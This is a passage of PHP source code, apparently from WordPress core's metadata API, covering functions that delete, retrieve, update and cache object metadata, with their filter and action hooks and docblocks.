			 * @param string $meta_key   Metadata key.
			 * @param mixed  $meta_value Metadata value. This will be a PHP-serialized string representation of the value
			 *                           if the value is an array, an object, or itself a PHP-serialized string.
			 */
			do_action( 'updated_postmeta', $meta_id, $object_id, $meta_key, $meta_value );
		}
	}

	return true;
}

/**
 * Deletes metadata for the specified object.
 *
 * @since 2.9.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $meta_type  Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                           or any other object type with an associated meta table.
 * @param int    $object_id  ID of the object metadata is for.
 * @param string $meta_key   Metadata key.
 * @param mixed  $meta_value Optional. Metadata value. Must be serializable if non-scalar.
 *                           If specified, only delete metadata entries with this value.
 *                           Otherwise, delete all entries with the specified meta_key.
 *                           Pass `null`, `false`, or an empty string to skip this check.
 *                           (For backward compatibility, it is not possible to pass an empty string
 *                           to delete those entries with an empty string for a value.)
 *                           Default empty string.
 * @param bool   $delete_all Optional. If true, delete matching metadata entries for all objects,
 *                           ignoring the specified object_id. Otherwise, only delete
 *                           matching metadata entries for the specified object_id. Default false.
 * @return bool True on successful delete, false on failure.
 */
function delete_metadata( $meta_type, $object_id, $meta_key, $meta_value = '', $delete_all = false ) {
	global $wpdb;

	if ( ! $meta_type || ! $meta_key || ! is_numeric( $object_id ) && ! $delete_all ) {
		return false;
	}

	$object_id = absint( $object_id );
	if ( ! $object_id && ! $delete_all ) {
		return false;
	}

	$table = _get_meta_table( $meta_type );
	if ( ! $table ) {
		return false;
	}

	$type_column = sanitize_key( $meta_type . '_id' );
	$id_column   = ( 'user' === $meta_type ) ? 'umeta_id' : 'meta_id';

	// expected_slashed ($meta_key)
	$meta_key   = wp_unslash( $meta_key );
	$meta_value = wp_unslash( $meta_value );

	/**
	 * Short-circuits deleting metadata of a specific type.
	 *
	 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
	 * (post, comment, term, user, or any other type with an associated meta table).
	 * Returning a non-null value will effectively short-circuit the function.
	 *
	 * Possible hook names include:
	 *
	 *  - `delete_post_metadata`
	 *  - `delete_comment_metadata`
	 *  - `delete_term_metadata`
	 *  - `delete_user_metadata`
	 *
	 * @since 3.1.0
	 *
	 * @param null|bool $delete     Whether to allow metadata deletion of the given type.
	 * @param int       $object_id  ID of the object metadata is for.
	 * @param string    $meta_key   Metadata key.
	 * @param mixed     $meta_value Metadata value. Must be serializable if non-scalar.
	 * @param bool      $delete_all Whether to delete the matching metadata entries
	 *                              for all objects, ignoring the specified $object_id.
	 *                              Default false.
	 */
	$check = apply_filters( "delete_{$meta_type}_metadata", null, $object_id, $meta_key, $meta_value, $delete_all );
	if ( null !== $check ) {
		return (bool) $check;
	}

	$_meta_value = $meta_value;
	$meta_value  = maybe_serialize( $meta_value );

	$query = $wpdb->prepare( "SELECT $id_column FROM $table WHERE meta_key = %s", $meta_key );

	if ( ! $delete_all ) {
		$query .= $wpdb->prepare( " AND $type_column = %d", $object_id );
	}

	if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value ) {
		$query .= $wpdb->prepare( ' AND meta_value = %s', $meta_value );
	}

	$meta_ids = $wpdb->get_col( $query );
	if ( ! count( $meta_ids ) ) {
		return false;
	}

	if ( $delete_all ) {
		if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value ) {
			$object_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s AND meta_value = %s", $meta_key, $meta_value ) );
		} else {
			$object_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s", $meta_key ) );
		}
	}

	/**
	 * Fires immediately before deleting metadata of a specific type.
	 *
	 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
	 * (post, comment, term, user, or any other type with an associated meta table).
	 *
	 * Possible hook names include:
	 *
	 *  - `delete_post_meta`
	 *  - `delete_comment_meta`
	 *  - `delete_term_meta`
	 *  - `delete_user_meta`
	 *
	 * @since 3.1.0
	 *
	 * @param string[] $meta_ids    An array of metadata entry IDs to delete.
	 * @param int      $object_id   ID of the object metadata is for.
	 * @param string   $meta_key    Metadata key.
	 * @param mixed    $_meta_value Metadata value.
	 */
	do_action( "delete_{$meta_type}_meta", $meta_ids, $object_id, $meta_key, $_meta_value );

	// Old-style action.
	if ( 'post' === $meta_type ) {
		/**
		 * Fires immediately before deleting metadata for a post.
		 *
		 * @since 2.9.0
		 *
		 * @param string[] $meta_ids An array of metadata entry IDs to delete.
		 */
		do_action( 'delete_postmeta', $meta_ids );
	}

	$query = "DELETE FROM $table WHERE $id_column IN( " . implode( ',', $meta_ids ) . ' )';

	$count = $wpdb->query( $query );

	if ( ! $count ) {
		return false;
	}

	if ( $delete_all ) {
		$data = (array) $object_ids;
	} else {
		$data = array( $object_id );
	}
	wp_cache_delete_multiple( $data, $meta_type . '_meta' );

	/**
	 * Fires immediately after deleting metadata of a specific type.
	 *
	 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
	 * (post, comment, term, user, or any other type with an associated meta table).
	 *
	 * Possible hook names include:
	 *
	 *  - `deleted_post_meta`
	 *  - `deleted_comment_meta`
	 *  - `deleted_term_meta`
	 *  - `deleted_user_meta`
	 *
	 * @since 2.9.0
	 *
	 * @param string[] $meta_ids    An array of metadata entry IDs to delete.
	 * @param int      $object_id   ID of the object metadata is for.
	 * @param string   $meta_key    Metadata key.
	 * @param mixed    $_meta_value Metadata value.
	 */
	do_action( "deleted_{$meta_type}_meta", $meta_ids, $object_id, $meta_key, $_meta_value );

	// Old-style action.
	if ( 'post' === $meta_type ) {
		/**
		 * Fires immediately after deleting metadata for a post.
		 *
		 * @since 2.9.0
		 *
		 * @param string[] $meta_ids An array of metadata entry IDs to delete.
		 */
		do_action( 'deleted_postmeta', $meta_ids );
	}

	return true;
}

/**
 * Retrieves the value of a metadata field for the specified object type and ID.
 *
 * If the meta field exists, a single value is returned if `$single` is true,
 * or an array of values if it's false.
 *
 * If the meta field does not exist, the result depends on get_metadata_default().
 * By default, an empty string is returned if `$single` is true, or an empty array
 * if it's false.
 *
 * @since 2.9.0
 *
 * @see get_metadata_raw()
 * @see get_metadata_default()
 *
 * @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                          or any other object type with an associated meta table.
 * @param int    $object_id ID of the object metadata is for.
 * @param string $meta_key  Optional. Metadata key. If not specified, retrieve all metadata for
 *                          the specified object. Default empty string.
 * @param bool   $single    Optional. If true, return only the first value of the specified `$meta_key`.
 *                          This parameter has no effect if `$meta_key` is not specified. Default false.
 * @return mixed An array of values if `$single` is false.
 *               The value of the meta field if `$single` is true.
 *               False for an invalid `$object_id` (non-numeric, zero, or negative value),
 *               or if `$meta_type` is not specified.
 *               An empty array if a valid but non-existing object ID is passed and `$single` is false.
 *               An empty string if a valid but non-existing object ID is passed and `$single` is true.
 *               Note: Non-serialized values are returned as strings:
 *               - false values are returned as empty strings ('')
 *               - true values are returned as '1'
 *               - numbers (both integer and float) are returned as strings
 *               Arrays and objects retain their original type.
 */
function get_metadata( $meta_type, $object_id, $meta_key = '', $single = false ) {
	$value = get_metadata_raw( $meta_type, $object_id, $meta_key, $single );
	if ( ! is_null( $value ) ) {
		return $value;
	}

	return get_metadata_default( $meta_type, $object_id, $meta_key, $single );
}

/**
 * Retrieves raw metadata value for the specified object.
 *
 * @since 5.5.0
 *
 * @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                          or any other object type with an associated meta table.
 * @param int    $object_id ID of the object metadata is for.
 * @param string $meta_key  Optional. Metadata key. If not specified, retrieve all metadata for
 *                          the specified object. Default empty string.
 * @param bool   $single    Optional. If true, return only the first value of the specified `$meta_key`.
 *                          This parameter has no effect if `$meta_key` is not specified. Default false.
 * @return mixed An array of values if `$single` is false.
 *               The value of the meta field if `$single` is true.
 *               False for an invalid `$object_id` (non-numeric, zero, or negative value),
 *               or if `$meta_type` is not specified.
 *               Null if the value does not exist.
 */
function get_metadata_raw( $meta_type, $object_id, $meta_key = '', $single = false ) {
	if ( ! $meta_type || ! is_numeric( $object_id ) ) {
		return false;
	}

	$object_id = absint( $object_id );
	if ( ! $object_id ) {
		return false;
	}

	/**
	 * Short-circuits the return value of a meta field.
	 *
	 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
	 * (post, comment, term, user, or any other type with an associated meta table).
	 * Returning a non-null value will effectively short-circuit the function.
	 *
	 * Possible filter names include:
	 *
	 *  - `get_post_metadata`
	 *  - `get_comment_metadata`
	 *  - `get_term_metadata`
	 *  - `get_user_metadata`
	 *
	 * @since 3.1.0
	 * @since 5.5.0 Added the `$meta_type` parameter.
	 *
	 * @param mixed  $value     The value to return, either a single metadata value or an array
	 *                          of values depending on the value of `$single`. Default null.
	 * @param int    $object_id ID of the object metadata is for.
	 * @param string $meta_key  Metadata key.
	 * @param bool   $single    Whether to return only the first value of the specified `$meta_key`.
	 * @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
	 *                          or any other object type with an associated meta table.
	 */
	$check = apply_filters( "get_{$meta_type}_metadata", null, $object_id, $meta_key, $single, $meta_type );
	if ( null !== $check ) {
		if ( $single && is_array( $check ) ) {
			return $check[0];
		} else {
			return $check;
		}
	}

	$meta_cache = wp_cache_get( $object_id, $meta_type . '_meta' );

	if ( ! $meta_cache ) {
		$meta_cache = update_meta_cache( $meta_type, array( $object_id ) );
		if ( isset( $meta_cache[ $object_id ] ) ) {
			$meta_cache = $meta_cache[ $object_id ];
		} else {
			$meta_cache = null;
		}
	}

	if ( ! $meta_key ) {
		return $meta_cache;
	}

	if ( isset( $meta_cache[ $meta_key ] ) ) {
		if ( $single ) {
			return maybe_unserialize( $meta_cache[ $meta_key ][0] );
		} else {
			return array_map( 'maybe_unserialize', $meta_cache[ $meta_key ] );
		}
	}

	return null;
}

/**
 * Retrieves default metadata value for the specified meta key and object.
 *
 * By default, an empty string is returned if `$single` is true, or an empty array
 * if it's false.
 *
 * @since 5.5.0
 *
 * @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                          or any other object type with an associated meta table.
 * @param int    $object_id ID of the object metadata is for.
 * @param string $meta_key  Metadata key.
 * @param bool   $single    Optional. If true, return only the first value of the specified `$meta_key`.
 *                          This parameter has no effect if `$meta_key` is not specified. Default false.
 * @return mixed An array of default values if `$single` is false.
 *               The default value of the meta field if `$single` is true.
 */
function get_metadata_default( $meta_type, $object_id, $meta_key, $single = false ) {
	if ( $single ) {
		$value = '';
	} else {
		$value = array();
	}

	/**
	 * Filters the default metadata value for a specified meta key and object.
	 *
	 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
	 * (post, comment, term, user, or any other type with an associated meta table).
	 *
	 * Possible filter names include:
	 *
	 *  - `default_post_metadata`
	 *  - `default_comment_metadata`
	 *  - `default_term_metadata`
	 *  - `default_user_metadata`
	 *
	 * @since 5.5.0
	 *
	 * @param mixed  $value     The value to return, either a single metadata value or an array
	 *                          of values depending on the value of `$single`.
	 * @param int    $object_id ID of the object metadata is for.
	 * @param string $meta_key  Metadata key.
	 * @param bool   $single    Whether to return only the first value of the specified `$meta_key`.
	 * @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
	 *                          or any other object type with an associated meta table.
	 */
	$value = apply_filters( "default_{$meta_type}_metadata", $value, $object_id, $meta_key, $single, $meta_type );

	if ( ! $single && ! wp_is_numeric_array( $value ) ) {
		$value = array( $value );
	}

	return $value;
}

/**
 * Determines if a meta field with the given key exists for the given object ID.
 *
 * @since 3.3.0
 *
 * @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                          or any other object type with an associated meta table.
 * @param int    $object_id ID of the object metadata is for.
 * @param string $meta_key  Metadata key.
 * @return bool Whether a meta field with the given key exists.
 */
function metadata_exists( $meta_type, $object_id, $meta_key ) {
	if ( ! $meta_type || ! is_numeric( $object_id ) ) {
		return false;
	}

	$object_id = absint( $object_id );
	if ( ! $object_id ) {
		return false;
	}

	/** This filter is documented in wp-includes/meta.php */
	$check = apply_filters( "get_{$meta_type}_metadata", null, $object_id, $meta_key, true, $meta_type );
	if ( null !== $check ) {
		return (bool) $check;
	}

	$meta_cache = wp_cache_get( $object_id, $meta_type . '_meta' );

	if ( ! $meta_cache ) {
		$meta_cache = update_meta_cache( $meta_type, array( $object_id ) );
		$meta_cache = $meta_cache[ $object_id ];
	}

	if ( isset( $meta_cache[ $meta_key ] ) ) {
		return true;
	}

	return false;
}

/**
 * Retrieves metadata by meta ID.
 *
 * @since 3.3.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                          or any other object type with an associated meta table.
 * @param int    $meta_id   ID for a specific meta row.
 * @return stdClass|false {
 *     Metadata object, or boolean `false` if the metadata doesn't exist.
 *
 *     @type string $meta_key   The meta key.
 *     @type mixed  $meta_value The unserialized meta value.
 *     @type string $meta_id    Optional. The meta ID when the meta type is any value except 'user'.
 *     @type string $umeta_id   Optional. The meta ID when the meta type is 'user'.
 *     @type string $post_id    Optional. The object ID when the meta type is 'post'.
 *     @type string $comment_id Optional. The object ID when the meta type is 'comment'.
 *     @type string $term_id    Optional. The object ID when the meta type is 'term'.
 *     @type string $user_id    Optional. The object ID when the meta type is 'user'.
 * }
 */
function get_metadata_by_mid( $meta_type, $meta_id ) {
	global $wpdb;

	if ( ! $meta_type || ! is_numeric( $meta_id ) || floor( $meta_id ) != $meta_id ) {
		return false;
	}

	$meta_id = (int) $meta_id;
	if ( $meta_id <= 0 ) {
		return false;
	}

	$table = _get_meta_table( $meta_type );
	if ( ! $table ) {
		return false;
	}

	/**
	 * Short-circuits the return value when fetching a meta field by meta ID.
	 *
	 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
	 * (post, comment, term, user, or any other type with an associated meta table).
	 * Returning a non-null value will effectively short-circuit the function.
	 *
	 * Possible hook names include:
	 *
	 *  - `get_post_metadata_by_mid`
	 *  - `get_comment_metadata_by_mid`
	 *  - `get_term_metadata_by_mid`
	 *  - `get_user_metadata_by_mid`
	 *
	 * @since 5.0.0
	 *
	 * @param stdClass|null $value   The value to return.
	 * @param int           $meta_id Meta ID.
	 */
	$check = apply_filters( "get_{$meta_type}_metadata_by_mid", null, $meta_id );
	if ( null !== $check ) {
		return $check;
	}

	$id_column = ( 'user' === $meta_type ) ? 'umeta_id' : 'meta_id';

	$meta = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $table WHERE $id_column = %d", $meta_id ) );

	if ( empty( $meta ) ) {
		return false;
	}

	if ( isset( $meta->meta_value ) ) {
		$meta->meta_value = maybe_unserialize( $meta->meta_value );
	}

	return $meta;
}

/**
 * Updates metadata by meta ID.
 *
 * @since 3.3.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string       $meta_type  Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                                 or any other object type with an associated meta table.
 * @param int          $meta_id    ID for a specific meta row.
 * @param string       $meta_value Metadata value. Must be serializable if non-scalar.
 * @param string|false $meta_key   Optional. You can provide a meta key to update it. Default false.
 * @return bool True on successful update, false on failure.
 */
function update_metadata_by_mid( $meta_type, $meta_id, $meta_value, $meta_key = false ) {
	global $wpdb;

	// Make sure everything is valid.
	if ( ! $meta_type || ! is_numeric( $meta_id ) || floor( $meta_id ) != $meta_id ) {
		return false;
	}

	$meta_id = (int) $meta_id;
	if ( $meta_id <= 0 ) {
		return false;
	}

	$table = _get_meta_table( $meta_type );
	if ( ! $table ) {
		return false;
	}

	$column    = sanitize_key( $meta_type . '_id' );
	$id_column = ( 'user' === $meta_type ) ? 'umeta_id' : 'meta_id';

	/**
	 * Short-circuits updating metadata of a specific type by meta ID.
	 *
	 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
	 * (post, comment, term, user, or any other type with an associated meta table).
	 * Returning a non-null value will effectively short-circuit the function.
	 *
	 * Possible hook names include:
	 *
	 *  - `update_post_metadata_by_mid`
	 *  - `update_comment_metadata_by_mid`
	 *  - `update_term_metadata_by_mid`
	 *  - `update_user_metadata_by_mid`
	 *
	 * @since 5.0.0
	 *
	 * @param null|bool    $check      Whether to allow updating metadata for the given type.
	 * @param int          $meta_id    Meta ID.
	 * @param mixed        $meta_value Meta value. Must be serializable if non-scalar.
	 * @param string|false $meta_key   Meta key, if provided.
	 */
	$check = apply_filters( "update_{$meta_type}_metadata_by_mid", null, $meta_id, $meta_value, $meta_key );
	if ( null !== $check ) {
		return (bool) $check;
	}

	// Fetch the meta and go on if it's found.
	$meta = get_metadata_by_mid( $meta_type, $meta_id );
	if ( $meta ) {
		$original_key = $meta->meta_key;
		$object_id    = $meta->{$column};

		/*
		 * If a new meta_key (last parameter) was specified, change the meta key,
		 * otherwise use the original key in the update statement.
		 */
		if ( false === $meta_key ) {
			$meta_key = $original_key;
		} elseif ( ! is_string( $meta_key ) ) {
			return false;
		}

		$meta_subtype = get_object_subtype( $meta_type, $object_id );

		// Sanitize the meta.
		$_meta_value = $meta_value;
		$meta_value  = sanitize_meta( $meta_key, $meta_value, $meta_type, $meta_subtype );
		$meta_value  = maybe_serialize( $meta_value );

		// Format the data query arguments.
		$data = array(
			'meta_key'   => $meta_key,
			'meta_value' => $meta_value,
		);

		// Format the where query arguments.
		$where               = array();
		$where[ $id_column ] = $meta_id;

		/** This action is documented in wp-includes/meta.php */
		do_action( "update_{$meta_type}_meta", $meta_id, $object_id, $meta_key, $_meta_value );

		if ( 'post' === $meta_type ) {
			/** This action is documented in wp-includes/meta.php */
			do_action( 'update_postmeta', $meta_id, $object_id, $meta_key, $meta_value );
		}

		// Run the update query, all fields in $data are %s, $where is a %d.
		$result = $wpdb->update( $table, $data, $where, '%s', '%d' );
		if ( ! $result ) {
			return false;
		}

		// Clear the caches.
		wp_cache_delete( $object_id, $meta_type . '_meta' );

		/** This action is documented in wp-includes/meta.php */
		do_action( "updated_{$meta_type}_meta", $meta_id, $object_id, $meta_key, $_meta_value );

		if ( 'post' === $meta_type ) {
			/** This action is documented in wp-includes/meta.php */
			do_action( 'updated_postmeta', $meta_id, $object_id, $meta_key, $meta_value );
		}

		return true;
	}

	// And if the meta was not found.
	return false;
}

/**
 * Deletes metadata by meta ID.
 *
 * @since 3.3.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                          or any other object type with an associated meta table.
 * @param int    $meta_id   ID for a specific meta row.
 * @return bool True on successful delete, false on failure.
 */
function delete_metadata_by_mid( $meta_type, $meta_id ) {
	global $wpdb;

	// Make sure everything is valid.
	if ( ! $meta_type || ! is_numeric( $meta_id ) || floor( $meta_id ) != $meta_id ) {
		return false;
	}

	$meta_id = (int) $meta_id;
	if ( $meta_id <= 0 ) {
		return false;
	}

	$table = _get_meta_table( $meta_type );
	if ( ! $table ) {
		return false;
	}

	// Object and ID columns.
	$column    = sanitize_key( $meta_type . '_id' );
	$id_column = ( 'user' === $meta_type ) ? 'umeta_id' : 'meta_id';

	/**
	 * Short-circuits deleting metadata of a specific type by meta ID.
	 *
	 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
	 * (post, comment, term, user, or any other type with an associated meta table).
	 * Returning a non-null value will effectively short-circuit the function.
	 *
	 * Possible hook names include:
	 *
	 *  - `delete_post_metadata_by_mid`
	 *  - `delete_comment_metadata_by_mid`
	 *  - `delete_term_metadata_by_mid`
	 *  - `delete_user_metadata_by_mid`
	 *
	 * @since 5.0.0
	 *
	 * @param null|bool $delete  Whether to allow metadata deletion of the given type.
	 * @param int       $meta_id Meta ID.
	 */
	$check = apply_filters( "delete_{$meta_type}_metadata_by_mid", null, $meta_id );
	if ( null !== $check ) {
		return (bool) $check;
	}

	// Fetch the meta and go on if it's found.
	$meta = get_metadata_by_mid( $meta_type, $meta_id );
	if ( $meta ) {
		$object_id = (int) $meta->{$column};

		/** This action is documented in wp-includes/meta.php */
		do_action( "delete_{$meta_type}_meta", (array) $meta_id, $object_id, $meta->meta_key, $meta->meta_value );

		// Old-style action.
		if ( 'post' === $meta_type || 'comment' === $meta_type ) {
			/**
			 * Fires immediately before deleting post or comment metadata of a specific type.
			 *
			 * The dynamic portion of the hook name, `$meta_type`, refers to the meta
			 * object type (post or comment).
			 *
			 * Possible hook names include:
			 *
			 *  - `delete_postmeta`
			 *  - `delete_commentmeta`
			 *  - `delete_termmeta`
			 *  - `delete_usermeta`
			 *
			 * @since 3.4.0
			 *
			 * @param int $meta_id ID of the metadata entry to delete.
			 */
			do_action( "delete_{$meta_type}meta", $meta_id );
		}

		// Run the query, will return true if deleted, false otherwise.
		$result = (bool) $wpdb->delete( $table, array( $id_column => $meta_id ) );

		// Clear the caches.
		wp_cache_delete( $object_id, $meta_type . '_meta' );

		/** This action is documented in wp-includes/meta.php */
		do_action( "deleted_{$meta_type}_meta", (array) $meta_id, $object_id, $meta->meta_key, $meta->meta_value );

		// Old-style action.
		if ( 'post' === $meta_type || 'comment' === $meta_type ) {
			/**
			 * Fires immediately after deleting post or comment metadata of a specific type.
			 *
			 * The dynamic portion of the hook name, `$meta_type`, refers to the meta
			 * object type (post or comment).
			 *
			 * Possible hook names include:
			 *
			 *  - `deleted_postmeta`
			 *  - `deleted_commentmeta`
			 *  - `deleted_termmeta`
			 *  - `deleted_usermeta`
			 *
			 * @since 3.4.0
			 *
			 * @param int $meta_id Deleted metadata entry ID.
			 */
			do_action( "deleted_{$meta_type}meta", $meta_id );
		}

		return $result;

	}

	// Meta ID was not found.
	return false;
}

/**
 * Updates the metadata cache for the specified objects.
 *
 * @since 2.9.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string       $meta_type  Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                                 or any other object type with an associated meta table.
 * @param string|int[] $object_ids Array or comma delimited list of object IDs to update cache for.
 * @return array|false Metadata cache for the specified objects, or false on failure.
 */
function update_meta_cache( $meta_type, $object_ids ) {
	global $wpdb;

	if ( ! $meta_type || ! $object_ids ) {
		return false;
	}

	$table = _get_meta_table( $meta_type );
	if ( ! $table ) {
		return false;
	}

	$column = sanitize_key( $meta_type . '_id' );

	if ( ! is_array( $object_ids ) ) {
		$object_ids = preg_replace( '|[^0-9,]|', '', $object_ids );
		$object_ids = explode( ',', $object_ids );
	}

	$object_ids = array_map( 'intval', $object_ids );

	/**
	 * Short-circuits updating the metadata cache of a specific type.
	 *
	 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
	 * (post, comment, term, user, or any other type with an associated meta table).
	 * Returning a non-null value will effectively short-circuit the function.
	 *
	 * Possible hook names include:
	 *
	 *  - `update_post_metadata_cache`
	 *  - `update_comment_metadata_cache`
	 *  - `update_term_metadata_cache`
	 *  - `update_user_metadata_cache`
	 *
	 * @since 5.0.0
	 *
	 * @param mixed $check      Whether to allow updating the meta cache of the given type.
	 * @param int[] $object_ids Array of object IDs to update the meta cache for.
	 */
	$check = apply_filters( "update_{$meta_type}_metadata_cache", null, $object_ids );
	if ( null !== $check ) {
		return (bool) $check;
	}

	$cache_group    = $meta_type . '_meta';
	$non_cached_ids = array();
	$cache          = array();
	$cache_values   = wp_cache_get_multiple( $object_ids, $cache_group );

	foreach ( $cache_values as $id => $cached_object ) {
		if ( false === $cached_object ) {
			$non_cached_ids[] = $id;
		} else {
			$cache[ $id ] = $cached_object;
		}
	}

	if ( empty( $non_cached_ids ) ) {
		return $cache;
	}

	// Get meta info.
	$id_list   = implode( ',', $non_cached_ids );
	$id_column = ( 'user' === $meta_type ) ? 'umeta_id' : 'meta_id';

	$meta_list = $wpdb->get_results( "SELECT $column, meta_key, meta_value FROM $table WHERE $column IN ($id_list) ORDER BY $id_column ASC", ARRAY_A );

	if ( ! empty( $meta_list ) ) {
		foreach ( $meta_list as $metarow ) {
			$mpid = (int) $metarow[ $column ];
			$mkey = $metarow['meta_key'];
			$mval = $metarow['meta_value'];

			// Force subkeys to be array type.
			if ( ! isset( $cache[ $mpid ] ) || ! is_array( $cache[ $mpid ] ) ) {
				$cache[ $mpid ] = array();
			}
			if ( ! isset( $cache[ $mpid ][ $mkey ] ) || ! is_array( $cache[ $mpid ][ $mkey ] ) ) {
				$cache[ $mpid ][ $mkey ] = array();
			}

			// Add a value to the current pid/key.
			$cache[ $mpid ][ $mkey ][] = $mval;
		}
	}

	$data = array();
	foreach ( $non_cached_ids as $id ) {
		if ( ! isset( $cache[ $id ] ) ) {
			$cache[ $id ] = array();
		}
		$data[ $id ] = $cache[ $id ];
	}
	wp_cache_add_multiple( $data, $cache_group );

	return $cache;
}

/**
 * Retrieves the queue for lazy-loading metadata.
 *
 * @since 4.5.0
 *
 * @return WP_Metadata_Lazyloader Metadata lazyloader queue.
 */
function wp_metadata_lazyloader() {
	static $wp_metadata_lazyloader;

	if ( null === $wp_metadata_lazyloader ) {
		$wp_metadata_lazyloader = new WP_Metadata_Lazyloader();
	}

	return $wp_metadata_lazyloader;
}

/**
 * Given a meta query, generates SQL clauses to be appended to a main query.
 *
 * @since 3.2.0
 *
 * @see WP_Meta_Query
 *
 * @param array  $meta_query        A meta query.
 * @param string $type              Type of meta.
 * @param string $primary_table     Primary database table name.
 * @param string $primary_id_column Primary ID column name.
 * @param object $context           Optional. The main query object. Default null.
 * @return string[]|false {
 *     Array containing JOIN and WHERE SQL clauses to append to the main query,
 *     or false if no table exists for the requested meta type.
 *
 *     @type string $join  SQL fragment to append to the main JOIN clause.
 *     @type string $where SQL fragment to append to the main WHERE clause.
 * }
 */
function get_meta_sql( $meta_query, $type, $primary_table, $primary_id_column, $context = null ) {
	$meta_query_obj = new WP_Meta_Query( $meta_query );
	return $meta_query_obj->get_sql( $type, $primary_table, $primary_id_column, $context );
}

/**
 * Retrieves the name of the metadata table for the specified object type.
 *
 * @since 2.9.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                     or any other object type with an associated meta table.
 * @return string|false Metadata table name, or false if no metadata table exists
 */
function _get_meta_table( $type ) {
	global $wpdb;

	$table_name = $type . 'meta';

	if ( empty( $wpdb->$table_name ) ) {
		return false;
	}

	return $wpdb->$table_name;
}

/**
 * Determines whether a meta key is considered protected.
 *
 * @since 3.1.3
 *
 * @param string $meta_key  Metadata key.
 * @param string $meta_type Optional. Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                          or any other object type with an associated meta table. Default empty string.
 * @return bool Whether the meta key is considered protected.
 */
function is_protected_meta( $meta_key, $meta_type = '' ) {
	$sanitized_key = preg_replace( "/[^\x20-\x7E\p{L}]/", '', $meta_key );
	$protected     = strlen( $sanitized_key ) > 0 && ( '_' === $sanitized_key[0] );

	/**
	 * Filters whether a meta key is considered protected.
	 *
	 * @since 3.2.0
	 *
	 * @param bool   $protected Whether the key is considered protected.
	 * @param string $meta_key  Metadata key.
	 * @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
	 *                          or any other object type with an associated meta table.
	 */
	return apply_filters( 'is_protected_meta', $protected, $meta_key, $meta_type );
}

/**
 * Sanitizes meta value.
 *
 * @since 3.1.3
 * @since 4.9.8 The `$object_subtype` parameter was added.
 *
 * @param string $meta_key       Metadata key.
 * @param mixed  $meta_value     Metadata value to sanitize.
 * @param string $object_type    Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                               or any other object type with an associated meta table.
 * @param string $object_subtype Optional. The subtype of the object type. Default empty string.
 * @return mixed Sanitized $meta_value.
 */
function sanitize_meta( $meta_key, $meta_value, $object_type, $object_subtype = '' ) {
	if ( ! empty( $object_subtype ) && has_filter( "sanitize_{$object_type}_meta_{$meta_key}_for_{$object_subtype}" ) ) {

		/**
		 * Filters the sanitization of a specific meta key of a specific meta type and subtype.
		 *
		 * The dynamic portions of the hook name, `$object_type`, `$meta_key`,
		 * and `$object_subtype`, refer to the metadata object type (comment, post, term, or user),
		 * the meta key value, and the object subtype respectively.
		 *
		 * @since 4.9.8
		 *
		 * @param mixed  $meta_value     Metadata value to sanitize.
		 * @param string $meta_key       Metadata key.
		 * @param string $object_type    Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
		 *                               or any other object type with an associated meta table.
		 * @param string $object_subtype Object subtype.
		 */
		return apply_filters( "sanitize_{$object_type}_meta_{$meta_key}_for_{$object_subtype}", $meta_value, $meta_key, $object_type, $object_subtype );
	}

	/**
	 * Filters the sanitization of a specific meta key of a specific meta type.
	 *
	 * The dynamic portions of the hook name, `$meta_type`, and `$meta_key`,
	 * refer to the metadata object type (comment, post, term, or user) and the meta
	 * key value, respectively.
	 *
	 * @since 3.3.0
	 *
	 * @param mixed  $meta_value  Metadata value to sanitize.
	 * @param string $meta_key    Metadata key.
	 * @param string $object_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
	 *                            or any other object type with an associated meta table.
	 */
	return apply_filters( "sanitize_{$object_type}_meta_{$meta_key}", $meta_value, $meta_key, $object_type );
}

/**
 * Registers a meta key.
 *
 * It is recommended to register meta keys for a specific combination of object type and object subtype. If passing
 * an object subtype is omitted, the meta key will be registered for the entire object type, however it can be partly
 * overridden in case a more specific meta key of the same name exists for the same object type and a subtype.
 *
 * If an object type does not support any subtypes, such as users or comments, you should commonly call this function
 * without passing a subtype.
 *
 * @since 3.3.0
 * @since 4.6.0 {@link https://core.trac.wordpress.org/ticket/35658 Modified
 *              to support an array of data to attach to registered meta keys}. Previous arguments for
 *              `$sanitize_callback` and `$auth_callback` have been folded into this array.
